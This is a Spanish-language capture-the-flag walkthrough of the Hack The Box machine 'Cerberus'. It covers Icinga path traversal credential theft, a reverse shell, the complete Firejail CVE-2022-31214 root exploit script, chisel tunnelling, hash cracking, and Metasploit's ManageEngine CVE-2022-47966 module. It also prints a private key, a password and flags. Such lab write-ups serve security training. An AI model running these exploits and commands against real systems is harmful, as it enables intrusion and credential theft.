Cerberus se trata de una máquina de dificultad difícil en la plataforma de HTB. Para poder acceder la máquina deberemos abusar de un Directory PATH Traversal para poder leer diversos archivos del sistema con credenciales para la web. Debido a la misma vulnerabilidad seremos capaces de ejecutar un RCE y poder acceder a un contenedor. Para escalar privilegios en el contenedor abusaremos del binario firejail. Mediante un Port Forwarding podremos conectarnos a la máquina real y para escalar privilegios mediante chisel deberemos traer a nuestra máquina diversos puertos interesantes en los que explotaremos un servicio web interno para convertirnos en administradores del dominio.
Enumeración
Escaneo de puertos
Empezamos la máquina realizando un escaneo de puertos para averiguar los puertos abiertos.
❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.190.78 -oG allPorts
[sudo] contraseña para mrx:
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-22 19:06 CET
Initiating SYN Stealth Scan at 19:06
Scanning 10.129.190.78 [65535 ports]
Discovered open port 8080/tcp on 10.129.190.78
Completed SYN Stealth Scan at 19:07, 26.41s elapsed (65535 total ports)
ntramos dos binarios poco comunes que son: ccreds_chkpwd y firejail.
Nmap scan report for 10.129.190.78
Host is up, received user-set (0.061s latency).
Scanned at 2023-03-22 19:06:33 CET for 27s
Not shown: 65534 filtered ports
Reason: 65534 no-responses
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
8080/tcp open http-proxy syn-ack ttl 62
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.52 seconds
Raw packets sent: 131089 (5.768MB) | Rcvd: 20 (880B)
El escaneo nos muestra que hay un puerto, el 8080 que pertenece al protocolo HTTP.
Los parámetros utilizados son:
- -p- : Escaneo de todos los puertos. (65535)
- –open: Para que solo muestre los puertos abiertos
- -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
- –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
- -vvv: El modo verbose hace que nos muestre la información en cuanto la descubra.
- -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
- -Pn: Deshabilitamos el descubrimiento de host mediante ping.
- -oG: Este tipo de fichero guarda todo el escaneo en una sola línea haciendo que podamos utilizar comandos como: grep, sed, awk, etc. Este tipo de fichero es muy bueno para la herramienta extractPorts que nos permite copiar directamente los puertos abiertos en la clipboard.
Escaneamos sobre el puerto 8080 para descubrir los servicios y versiones.
❯ nmap -p8080 -sCV -Pn 10.10.11.205 -oN targeted
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-22 21:42 CET
Nmap scan report for 10.10.11.205
Host is up (0.049s latency).
PORT STATE SERVICE VERSION
8080/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://icinga.cerberus.local:8080/icingaweb2
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.72 seconds
En el escaneo podemos ver que nos redirige a un subdominio, así que añadimos el dominio y el subdominio.
Si visitamos la web, podremos ver que hay un panel para iniciar sesión en Icinga web.
CVE-2022-24716
Si buscamos un poco sobre alguna vulnerabilidad de Icinga podremos encontrar un artículo interesante de un Directory PATH Traversal CVE-2022-24716. En efecto, podremos leer archivos internos de la máquina.
❯ curl -s -i http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/hosts
HTTP/1.1 200 OK
Date: Wed, 22 Mar 2023 22:34:16 GMT
Server: Apache/2.4.52 (Ubuntu)
Cache-Control: public, max-age=1814400, stale-while-revalidate=604800
Etag: 40210-125-5f3289e9ec540
Last-Modified: Thu, 26 Jan 2023 10:57:49 GMT
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/plain;charset=UTF-8
127.0.0.1 iceinga.cerberus.local iceinga
127.0.1.1 localhost
172.16.22.1 DC.cerberus.local DC cerberus.local
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Podemos ver cosas interesantes en el archivo "hosts". Lo primero que vemos es que está apuntando a un DC y lo segundo que la IP probablemente pertenezca a un contenedor.
Si buscamos un poco sobre archivos interesantes encontraremos algunos que nos servirán de ayuda. En el archivo "roles.ini" podremos saber que el usuario matthew está en el grupo de administradores.
❯ curl -s -i http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/icingaweb2/roles.ini
HTTP/1.1 200 OK
Date: Wed, 22 Mar 2023 22:57:59 GMT
Server: Apache/2.4.52 (Ubuntu)
Cache-Control: public, max-age=1814400, stale-while-revalidate=604800
Etag: 43d63-62-5f784faeaf840
Last-Modified: Wed, 22 Mar 2023 22:50:01 GMT
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/plain;charset=UTF-8
[Administrators]
users = "matthew"
permissions = "*"
groups = "Administrators"
unrestricted = "1"
En el archivo "resources.ini" encontraremos las credenciales de la base de datos MySQL.
❯ curl -s -i http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/icingaweb2/resources.ini
HTTP/1.1 200 OK
Date: Wed, 22 Mar 2023 23:12:06 GMT
Server: Apache/2.4.52 (Ubuntu)
Cache-Control: public, max-age=1814400, stale-while-revalidate=604800
Etag: 43d65-95-5f78542718440
Last-Modified: Wed, 22 Mar 2023 23:10:01 GMT
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/plain;charset=UTF-8
[icingaweb2]
type = "db"
db = "mysql"
host = "localhost"
dbname = "icingaweb2"
username = "matthew"
password = "IcingaWebPassword2023"
use_ssl = "0"
Si probamos de acceder a la web nos encontraremos con el dashboard.
Intrusión
Si seguimos leyendo el artículo anterior, podremos ver que deberíamos de poder hacer un RCE, pero antes hay que hacer algunas cosas. Lo primero será generar la clave id_rsa.
❯ ssh-keygen -t rsa -m PEM
Generating public/private rsa key pair.
Enter file in which to save the key (/home/mrx/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa
Your public key has been saved in ./id_rsa.pub
The key fingerprint is:
SHA256:78TZwyrVmfkDlWWmaiX82+8XlebuxmF11KS26jtDPR8 mrx@whoami
The key's randomart image is:
+---[RSA 3072]----+
| .o|
| .*|
| . oB.|
| o.=++|
| S . @+ +|
| o.+X.+E |
| .=o=o+=+|
| .o oo.+++|
| .o o+o+=|
+----[SHA256]-----+
❯ ls
id_rsa id_rsa.pub
Volvemos a crear otro recurso, pero esta vez para poder ejecutar comandos.
Nos dirigimos a Configuration –> Access Control –> Users para crear un usuario nuevo.
Ahora nos dirigimos a Configuration -> Resources -> Create a New Resource para añadir la clave SSH al usuario.
Nos aseguramos que la clave id_rsa se ha subido correctamente.
❯ curl -s -i http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/icingaweb2/ssh/hyper
HTTP/1.1 200 OK
Date: Fri, 24 Mar 2023 17:38:58 GMT
Server: Apache/2.4.52 (Ubuntu)
Cache-Control: public, max-age=1814400, stale-while-revalidate=604800
Etag: 40355-9c0-5f7a8dc59eac0
Last-Modified: Fri, 24 Mar 2023 17:38:27 GMT
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/plain;charset=UTF-8
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----
Habilitamos el módulo de shm.
Nos ponemos en escucha mediante netcat.
❯ nc -nvlp 4444
Realizamos la petición e interceptamos la petición mediante BurpSuite.
Modificamos y añadimos el payload para poder entablarnos una Reverse Shell.
Una vez tramitada la petición podremos comprobar que hemos accedido como el usuario www-data.
❯ nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.11.205 49808
bash: cannot set terminal process group (624): Inappropriate ioctl for device
bash: no job control in this shell
www-data@icinga:/usr/share/icingaweb2/public$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),121(icingaweb2)
www-data@icinga:/usr/share/icingaweb2/public$
Escalada de privilegios
Como hemos dicho antes nos encontramos en un contenedor y no en la máquina real.
www-data@icinga:/usr/share/icingaweb2/public$ hostname -I
172.16.22.2
www-data@icinga:/usr/share/icingaweb2/public$
Ejecutamos el comando find para intentar encontrar binarios con permisos SUID interesantes para poder saltar a la máquina principal.
www-data@icinga:~$ find / -perm -4000 2>/dev/null
/usr/sbin/ccreds_chkpwd
/usr/bin/mount
/usr/bin/sudo
/usr/bin/firejail
/usr/bin/chfn
/usr/bin/fusermount3
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/ksu
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/su
/usr/bin/umount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
www-data@icinga:~$
Encontramos dos binarios poco comunes que son: ccreds_chkpwd y firejail.
CVE-2022-31214
Si buscamos un poco sobre alguna vulnerabilidad de alguno de los dos binarios, encontraremos la vulnerabilidad CVE-2022-31214 y el siguiente script.
#!/usr/bin/python3
# Author: Matthias Gerstner <[email protected]>
#
# Proof of concept local root exploit for a vulnerability in Firejail 0.9.68
# in joining Firejail instances.
#
# Prerequisites:
# - the firejail setuid-root binary needs to be installed and accessible to the
# invoking user
#
# Exploit: The exploit tricks the Firejail setuid-root program to join a fake
# Firejail instance. By using tmpfs mounts and symlinks in the unprivileged
# user namespace of the fake Firejail instance the result will be a shell that
# lives in an attacker controller mount namespace while the user namespace is
# still the initial user namespace and the nonewprivs setting is unset,
# allowing to escalate privileges via su or sudo.
import os
import shutil
import stat
import subprocess
import sys
import tempfile
import time
from pathlib import Path
# Print error message and exit with status 1
def printe(*args, **kwargs):
kwargs['file'] = sys.stderr
print(*args, **kwargs)
sys.exit(1)
# Return a boolean whether the given file path fulfils the requirements for the
# exploit to succeed:
# - owned by uid 0
# - size of 1 byte
# - the content is a single '1' ASCII character
def checkFile(f):
s = os.stat(f)
if s.st_uid != 0 or s.st_size != 1 or not stat.S_ISREG(s.st_mode):
return False
with open(f) as fd:
ch = fd.read(2)
if len(ch) != 1 or ch != "1":
return False
return True
def mountTmpFS(loc):
subprocess.check_call("mount -t tmpfs none".split() + [loc])
def bindMount(src, dst):
subprocess.check_call("mount --bind".split() + [src, dst])
def checkSelfExecutable():
s = os.stat(__file__)
if (s.st_mode & stat.S_IXUSR) == 0:
printe(f"{__file__} needs to have the execute bit set for the exploit to work. Run <code>chmod +x {__file__}</code> and try again.")
# This creates a "helper" sandbox that serves the purpose of making available
# a proper "join" file for symlinking to as part of the exploit later on.
#
# Returns a tuple of (proc, join_file), where proc is the running subprocess
# (it needs to continue running until the exploit happened) and join_file is
# the path to the join file to use for the exploit.
def createHelperSandbox():
# just run a long sleep command in an unsecured sandbox
proc = subprocess.Popen(
"firejail --noprofile -- sleep 10d".split(),
stderr=subprocess.PIPE)
# read out the child PID from the stderr output of firejail
while True:
line = proc.stderr.readline()
if not line:
raise Exception("helper sandbox creation failed")
# on stderr a line of the form "Parent pid <ppid>, child pid <pid>" is output
line = line.decode('utf8').strip().lower()
if line.find("child pid") == -1:
continue
child_pid = line.split()[-1]
try:
child_pid = int(child_pid)
break
except Exception:
raise Exception("failed to determine child pid from helper sandbox")
# We need to find the child process of the child PID, this is the
# actual sleep process that has an accessible root filesystem in /proc
children = f"/proc/{child_pid}/task/{child_pid}/children"
# If we are too quick then the child does not exist yet, so sleep a bit
for _ in range(10):
with open(children) as cfd:
line = cfd.read().strip()
kids = line.split()
if not kids:
time.sleep(0.5)
continue
elif len(kids) != 1:
raise Exception(f"failed to determine sleep child PID from helper sandbox: {kids}")
try:
sleep_pid = int(kids[0])
break
except Exception:
raise Exception("failed to determine sleep child PID from helper sandbox")
else:
raise Exception(f"sleep child process did not come into existence in {children}")
join_file = f"/proc/{sleep_pid}/root/run/firejail/mnt/join"
if not os.path.exists(join_file):
raise Exception(f"join file from helper sandbox unexpectedly not found at {join_file}")
return proc, join_file
# Re-executes the current script with unshared user and mount namespaces
def reexecUnshared(join_file):
if not checkFile(join_file):
printe(f"{join_file}: this file does not match the requirements (owner uid 0, size 1 byte, content '1')")
os.environ["FIREJOIN_JOINFILE"] = join_file
os.environ["FIREJOIN_UNSHARED"] = "1"
unshare = shutil.which("unshare")
if not unshare:
printe("could not find 'unshare' program")
cmdline = "unshare -U -r -m".split()
cmdline += [__file__]
# Re-execute this script with unshared user and mount namespaces
subprocess.call(cmdline)
if "FIREJOIN_UNSHARED" not in os.environ:
# First stage of execution, we first need to fork off a helper sandbox and
# an exploit environment
checkSelfExecutable()
helper_proc, join_file = createHelperSandbox()
reexecUnshared(join_file)
helper_proc.kill()
helper_proc.wait()
sys.exit(0)
else:
# We are in the sandbox environment, the suitable join file has been
# forwarded from the first stage via the environment
join_file = os.environ["FIREJOIN_JOINFILE"]
# We will make /proc/1/ns/user point to this via a symlink
time_ns_src = "/proc/self/ns/time"
# Make the firejail state directory writeable, we need to place a symlink to
# the fake join state file there
mountTmpFS("/run/firejail")
# Mount a tmpfs over the proc state directory of the init process, to place a
# symlink to a fake "user" ns there that firejail thinks it is joining
try:
mountTmpFS("/proc/1")
except subprocess.CalledProcessError:
# This is a special case for Fedora Linux where SELinux rules prevent us
# from mounting a tmpfs over proc directories.
# We can still circumvent this by mounting a tmpfs over all of /proc, but
# we need to bind-mount a copy of our own time namespace first that we can
# symlink to.
with open("/tmp/time", 'w') as _:
pass
time_ns_src = "/tmp/time"
bindMount("/proc/self/ns/time", time_ns_src)
mountTmpFS("/proc")
FJ_MNT_ROOT = Path("/run/firejail/mnt")
# Create necessary intermediate directories
os.makedirs(FJ_MNT_ROOT)
os.makedirs("/proc/1/ns")
# Firejail expects to find the umask for the "container" here, else it fails
with open(FJ_MNT_ROOT / "umask", 'w') as umask_fd:
umask_fd.write("022")
# Create the symlink to the join file to pass Firejail's sanity check
os.symlink(join_file, FJ_MNT_ROOT / "join")
# Since we cannot join our own user namespace again fake a user namespace that
# is actually a symlink to our own time namespace. This works since Firejail
# calls setns() without the nstype parameter.
os.symlink(time_ns_src, "/proc/1/ns/user")
# The process joining our fake sandbox will still have normal user privileges,
# but it will be a member of the mount namespace under the control of *this*
# script while *still* being a member of the initial user namespace.
# 'no_new_privs' won't be set since Firejail takes over the settings of the
# target process.
#
# This means we can invoke setuid-root binaries as usual but they will operate
# in a mount namespace under our control. To exploit this we need to adjust
# file system content in a way that a setuid-root binary grants us full
# root privileges. 'su' and 'sudo' are the most typical candidates for it.
#
# The tools are hardened a bit these days and reject certain files if not owned
# by root e.g. /etc/sudoers. There are various directions that could be taken,
# this one works pretty well though: Simply replacing the PAM configuration
# with one that will always grant access.
with tempfile.NamedTemporaryFile('w') as tf:
tf.write("auth sufficient pam_permit.so\n")
tf.write("account sufficient pam_unix.so\n")
tf.write("session sufficient pam_unix.so\n")
# Be agnostic about the PAM config file location in /etc or /usr/etc
for pamd in ("/etc/pam.d", "/usr/etc/pam.d"):
if not os.path.isdir(pamd):
continue
for service in ("su", "sudo"):
service = Path(pamd) / service
if not service.exists():
continue
# Bind mount over new "helpful" PAM config over the original
bindMount(tf.name, service)
print(f"You can now run 'firejail --join={os.getpid()}' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.")
while True:
line = sys.stdin.readline()
if not line:
break
Para esto necesitaremos tener dos shell, así que enviaremos otra por el puerto 5555. Después de eso subiremos el archivo firejoin.py a la máquina.
www-data@icinga:/tmp$ wget http://10.10.14.7/firejoin.py
--2023-03-28 17:38:48-- http://10.10.14.7/firejoin.py
Connecting to 10.10.14.7:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8649 (8.4K) [text/x-python]
Saving to: 'firejoin.py'
firejoin.py 100%[=================================================================================================>] 8.45K --.-KB/s in 0.001s
2023-03-28 17:38:48 (6.17 MB/s) - 'firejoin.py' saved [8649/8649]
Le damos permisos de ejecución al archivo y lo ejecutamos, nos dará el comando que tendremos que hacer con la segunda shell.
www-data@icinga:/tmp$ chmod +x firejoin.py
www-data@icinga:/tmp$ ./firejoin.py
You can now run 'firejail --join=9165' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.
Ejecutamos el comando para unirnos al PID del proceso y justo después accedemos al usuario root.
www-data@icinga:~$ firejail --join=9165
changing root to /proc/9165/root
Warning: cleaning all supplementary groups
Child process initialized in 23.30 ms
www-data@icinga:~$ su -
root@icinga:~#
Miramos los archivos de configuración de servidor, ya que sabemos que el contenedor está unido al dominio DC. Gracias al archivo sssd.conf podemos saber que las contraseñas se almacenan en la máquina.
root@icinga:~# cat /etc/sssd/sssd.conf
[sssd]
domains = cerberus.local
config_file_version = 2
services = nss, pam
[domain/cerberus.local]
default_shell = /bin/bash
ad_server = cerberus.local
krb5_store_password_if_offline = True
cache_credentials = True
krb5_realm = CERBERUS.LOCAL
realmd_tags = manages-system joined-with-adcli
id_provider = ad
fallback_homedir = /home/%u@%d
ad_domain = cerberus.local
use_fully_qualified_names = True
ldap_id_mapping = True
access_provider = ad
root@icinga:~#
Encontramos estos archivos, pero el que más nos interesa es el primero.
root@icinga:~# ls -l /var/lib/sss/db/
total 5028
-rw-r--r-- 1 root root 1286144 Mar 28 15:40 cache_cerberus.local.ldb
-rw------- 1 root root 2715 Mar 2 12:33 ccache_CERBERUS.LOCAL
-rw------- 1 root root 1286144 Mar 28 15:40 config.ldb
-rw------- 1 root root 1286144 Jan 22 18:32 sssd.ldb
-rw-r--r-- 1 root root 1286144 Mar 1 12:07 timestamps_cerberus.local.ldb
Mediante el comando strings encontramos un hash así que probamos a crackearlo. Al tratarse de una contraseña fácil solo demora unos segundos en romperla.
❯ john --wordlist=/home/mrx/aplicaciones/rockyou.txt hash
Warning: detected hash type "sha512crypt", but the string is also recognized as "sha512crypt-opencl"
Use the "--format=sha512crypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
147258369 (?)
1g 0:00:00:00 DONE (2023-03-28 19:54) 5.882g/s 12047p/s 12047c/s 12047C/s 123456..lovers1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Lateral Movement
Mediante un pequeño one liner podemos escanear los puertos abiertos. Por lo que vemos, el puerto 5985 que pertenece al servicio de winrm está abierto.
root@icinga:~# (echo '' > /dev/tcp/172.16.22.1/5985) 2>/dev/null && echo "[+] Puerto abierto"
[+] Puerto abierto
Para poder conectarnos al servicio de WINRM debemos hacer un port forwarding mediante chisel.
Subimos el binario y le damos permisos de ejecución.
root@icinga:~# wget 10.10.14.7/chisel
--2023-03-28 18:35:34-- http://10.10.14.7/chisel
Connecting to 10.10.14.7:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8077312 (7.7M) [application/octet-stream]
Saving to: 'chisel'
chisel 100%[=================================================================================================>] 7.70M 5.00MB/s in 1.5s
2023-03-28 18:35:35 (5.00 MB/s) - 'chisel' saved [8077312/8077312]
root@icinga:~# chmod +x chisel
Nos ponemos en modo servidor en nuestra máquina de atacante.
❯ ./chisel server -p 8000 --reverse
2023/03/28 20:37:22 server: Reverse tunnelling enabled
2023/03/28 20:37:22 server: Fingerprint i0KNH83tiAtT2ZGTJBX3XDtPo0ilkvluY8GyMiTBFSM=
2023/03/28 20:37:22 server: Listening on http://0.0.0.0:5985
Y en la máquina vulnerada nos ponemos en modo cliente y ejecutamos.
root@icinga:~# ./chisel client 10.10.14.7:8000 R:5985:172.16.22.1:5985
2023/03/28 18:39:13 client: Connecting to ws://10.10.14.7:8000
2023/03/28 18:39:14 client: Connected (Latency 49.1826ms)
Nos conectamos con la contraseña crackeada mediante evil-winrm.
❯ evil-winrm -i 10.10.14.7 -u matthew -p 147258369
Evil-WinRM shell v3.4
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\matthew> cd Desktop
*Evil-WinRM* PS C:\Users\matthew\Desktop> dir
Directory: C:\Users\matthew\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 3/28/2023 8:38 AM 34 user.txt
*Evil-WinRM* PS C:\Users\matthew\Desktop> type user.txt
56b035c65081911d63d657573772eba0
*Evil-WinRM* PS C:\Users\matthew\Desktop>
Escaneamos los puertos de la máquina Windows mediante un pequeño one liner en Powershell.
*Evil-WinRM* PS C:\Users\matthew\Documents> 1..10000 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.11.205",$_)) "Port $_ is open!"} 2>$null
Port 53 is open!
Port 80 is open!
Port 88 is open!
Port 135 is open!
Port 139 is open!
Port 389 is open!
Port 443 is open!
Port 445 is open!
Port 464 is open!
Port 593 is open!
Port 636 is open!
Port 808 is open!
Port 1500 is open!
Port 1501 is open!
Port 2179 is open!
Port 3268 is open!
Port 3269 is open!
Port 5985 is open!
Port 8080 is open!
Port 8888 is open!
Port 9251 is open!
Port 9389 is open!
Nos ponemos en modo servidor con la máquina de atacante.
❯ ./chisel server -p 8001 --reverse
2023/03/28 22:12:40 server: Reverse tunnelling enabled
2023/03/28 22:12:40 server: Fingerprint sYGsHfA9AQDaJeysmMA0c1SIYXxW33n6/ZP/JOqmTkk=
2023/03/28 22:12:40 server: Listening on http://0.0.0.0:8001
Importamos el chisel y lo ejecutamos en modo cliente y con los puertos que nos interesan.
*Evil-WinRM* PS C:\Users\matthew\Desktop> curl http://10.10.14.7/chisel.exe
*Evil-WinRM* PS C:\Users\matthew\Documents> ./chisel.exe client 10.10.14.4:8001 R:80:localhost:80 R:443:localhost:443 R:8888:localhost:8888 R:9251:localhost:9251
chisel.exe : 2023/03/30 08:08:59 client: Connecting to ws://10.10.14.4:8001
2023/03/30 08:09:00 client: Connected (Latency 43.5123ms)
CVE-2022-47966
Si visitamos la web http://172.16.22.1:9251 nos redirige al dominio dc.cerberus.local así que lo añadimos a nuestro localhost.
Una vez que podamos ver la web, veremos un panel para iniciar sesión y si probamos con las mismas credenciales que hemos utilizado con evil-winrm podremos acceder sin problemas. En la URL de la web tendremos el siguiente GUID.
67a8d101690402dc6a6744b8fc8a7ca1acf88b2f
Sí, buscamos sobre alguna vulnerabilidad sobre el servicio de la web: ManageEngine ADSerlService Plus encontraremos que hay una vulnerabilidad bastante interesante en Metasploit. CVE-2022-47966. Ponemos todos los parámetros que son necesarios para realizar correctamente la explotación y como todo es correcto nos convertimos en "nt authority\system".
❯ msfconsole
IIIIII dTb.dTb _.---._
II 4' v 'B .'"".'/|\`.""'.
II 6. .P : .' / | \ `. :
II 'T;. .;P' '.' / | \ `.'
II 'T; ;P' `. / | \ .'
IIIIII 'YvP' `-.__|__.-'
I love shells --egypt
=[ metasploit v6.3.5-dev ]
+ -- --=[ 2296 exploits - 1202 auxiliary - 410 post ]
+ -- --=[ 965 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: Open an interactive Ruby terminal with
irb
Metasploit Documentation: https://docs.metasploit.com/
>> use exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966
>> set GUID 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f
GUID => 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f
>> set ISSUER_URL http://dc.cerberus.local/adfs/services/trust
ISSUER_URL => http://dc.cerberus.local/adfs/services/trust
>> set LPORT 6666
LPORT => 6666
>> set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
>> set LHOST tun0
LHOST => tun0
>> exploit
[*] Started reverse TCP handler on 10.10.14.4:6666
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Sending stage (175686 bytes) to 10.10.11.205
[*] Meterpreter session 1 opened (10.10.14.4:6666 -> 10.10.11.205:61849) at 2023-03-31 00:44:16 +0200
(Meterpreter 1)(C:\Program Files (x86)\ManageEngine\ADSelfService Plus\bin) > shell
Process 2116 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.4010]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Program Files (x86)\ManageEngine\ADSelfService Plus\bin>whoami
whoami
nt authority\system
C:\Program Files (x86)\ManageEngine\ADSelfService Plus\bin>cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>type root.txt
type root.txt
6d3a0ccde455ac43080b3bf369aff48c